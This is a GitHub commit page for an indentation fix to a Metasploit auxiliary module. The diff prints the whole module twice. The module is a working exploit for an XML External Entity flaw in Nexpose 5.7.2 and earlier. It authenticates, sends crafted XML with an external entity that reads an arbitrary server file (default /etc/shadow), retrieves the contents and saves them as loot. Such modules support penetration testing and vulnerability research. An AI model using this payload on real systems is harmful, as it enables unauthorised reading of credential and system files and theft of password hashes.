Skip to content

Commit f42797f

Browse files
author
jvazquez-r7
committed
Fix indentation
1 parent f7339f4 commit f42797f

File tree

1 file changed

+123
-122
lines changed

1 file changed

+123
-122
lines changed

modules/auxiliary/admin/http/nexpose_xxe_file_read.rb

Lines changed: 123 additions & 122 deletions
Original file line numberDiff line numberDiff line change
@@ -10,126 +10,127 @@
1010

1111
class Metasploit4 < Msf::Auxiliary
1212

13-
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::Report
15-
16-
def initialize(info = {})
17-
super(update_info(info,
18-
'Name' => 'Nexpose XXE Arbitrary File Read',
19-
'Description' => %q{
20-
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
21-
of vectors. This vulnerability can allow an attacker to a craft special XML that
22-
could read arbitrary files from the filesystem. This module exploits the
23-
vulnerability via the XML API.
24-
},
25-
'Author' =>
26-
[
27-
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
28-
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
29-
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
30-
],
31-
'License' => MSF_LICENSE,
32-
'References' =>
33-
[
34-
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
35-
# Fill this in with the direct advisory URL from Infigo
36-
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
37-
],
38-
'DefaultOptions' => {
39-
'SSL' => true
40-
}
41-
))
42-
43-
register_options(
44-
[
45-
Opt::RPORT(3780),
46-
OptString.new('USERNAME', [true, "The Nexpose user", nil]),
47-
OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
48-
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
49-
], self.class)
50-
end
51-
52-
def run
53-
user = datastore['USERNAME']
54-
pass = datastore['PASSWORD']
55-
prot = ssl ? 'https' : 'http'
56-
57-
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
58-
59-
print_status("Authenticating as: " << user)
60-
begin
61-
nsc.login
62-
report_auth_info(
63-
:host => rhost,
64-
:port => rport,
65-
:sname => prot,
66-
:user => user,
67-
:pass => pass,
68-
:proof => '',
69-
:active => true
70-
)
71-
72-
rescue
73-
print_error("Error authenticating, check your credentials")
74-
return
75-
end
76-
77-
xml = '<!DOCTYPE foo ['
78-
xml << '<!ELEMENT host ANY>'
79-
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
80-
xml << ']>'
81-
xml << '<SiteSaveRequest session-id="'
82-
83-
xml << nsc.session_id
84-
85-
xml << '">'
86-
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
87-
xml << '<Hosts>'
88-
xml << '<host>&xxe;</host>'
89-
xml << '</Hosts>'
90-
xml << '<Credentials />'
91-
xml << '<Alerting />'
92-
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
93-
xml << '</Site>'
94-
xml << '</SiteSaveRequest>'
95-
96-
print_status("Sending payload")
97-
begin
98-
fsa = nsc.execute(xml)
99-
rescue
100-
print_error("Error executing API call for site creation, ensure the filepath is correct")
101-
return
102-
end
103-
104-
doc = REXML::Document.new fsa.raw_response_data
105-
id = doc.root.attributes["site-id"]
106-
107-
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
108-
109-
print_status("Retrieving file")
110-
begin
111-
fsa = nsc.execute(xml)
112-
rescue
113-
nsc.site_delete id
114-
print_error("Error retrieving the file.")
115-
return
116-
end
117-
118-
doc = REXML::Document.new fsa.raw_response_data
119-
120-
print_status("Cleaning up")
121-
begin
122-
nsc.site_delete id
123-
rescue
124-
print_warning("Error while cleaning up site ID, manual cleanup required!")
125-
end
126-
127-
unless doc.root.elements["//host"]
128-
print_error("No file returned. Either the server is patched or the file did not exist.")
129-
return
130-
end
131-
132-
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
133-
print_good("File saved to path: " << path)
134-
end
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Nexpose XXE Arbitrary File Read',
19+
'Description' => %q{
20+
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
21+
of vectors. This vulnerability can allow an attacker to a craft special XML that
22+
could read arbitrary files from the filesystem. This module exploits the
23+
vulnerability via the XML API.
24+
},
25+
'Author' =>
26+
[
27+
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
28+
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
29+
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
35+
# Fill this in with the direct advisory URL from Infigo
36+
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
37+
],
38+
'DefaultOptions' => {
39+
'SSL' => true
40+
}
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(3780),
46+
OptString.new('USERNAME', [true, "The Nexpose user", nil]),
47+
OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
48+
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
49+
], self.class)
50+
end
51+
52+
def run
53+
user = datastore['USERNAME']
54+
pass = datastore['PASSWORD']
55+
prot = ssl ? 'https' : 'http'
56+
57+
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
58+
59+
print_status("Authenticating as: " << user)
60+
begin
61+
nsc.login
62+
report_auth_info(
63+
:host => rhost,
64+
:port => rport,
65+
:sname => prot,
66+
:user => user,
67+
:pass => pass,
68+
:proof => '',
69+
:active => true
70+
)
71+
72+
rescue
73+
print_error("Error authenticating, check your credentials")
74+
return
75+
end
76+
77+
xml = '<!DOCTYPE foo ['
78+
xml << '<!ELEMENT host ANY>'
79+
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
80+
xml << ']>'
81+
xml << '<SiteSaveRequest session-id="'
82+
83+
xml << nsc.session_id
84+
85+
xml << '">'
86+
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
87+
xml << '<Hosts>'
88+
xml << '<host>&xxe;</host>'
89+
xml << '</Hosts>'
90+
xml << '<Credentials />'
91+
xml << '<Alerting />'
92+
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
93+
xml << '</Site>'
94+
xml << '</SiteSaveRequest>'
95+
96+
print_status("Sending payload")
97+
begin
98+
fsa = nsc.execute(xml)
99+
rescue
100+
print_error("Error executing API call for site creation, ensure the filepath is correct")
101+
return
102+
end
103+
104+
doc = REXML::Document.new fsa.raw_response_data
105+
id = doc.root.attributes["site-id"]
106+
107+
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
108+
109+
print_status("Retrieving file")
110+
begin
111+
fsa = nsc.execute(xml)
112+
rescue
113+
nsc.site_delete id
114+
print_error("Error retrieving the file.")
115+
return
116+
end
117+
118+
doc = REXML::Document.new fsa.raw_response_data
119+
120+
print_status("Cleaning up")
121+
begin
122+
nsc.site_delete id
123+
rescue
124+
print_warning("Error while cleaning up site ID, manual cleanup required!")
125+
end
126+
127+
unless doc.root.elements["//host"]
128+
print_error("No file returned. Either the server is patched or the file did not exist.")
129+
return
130+
end
131+
132+
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
133+
print_good("File saved to path: " << path)
134+
end
135+
135136
end

0 commit comments

Comments
 (0)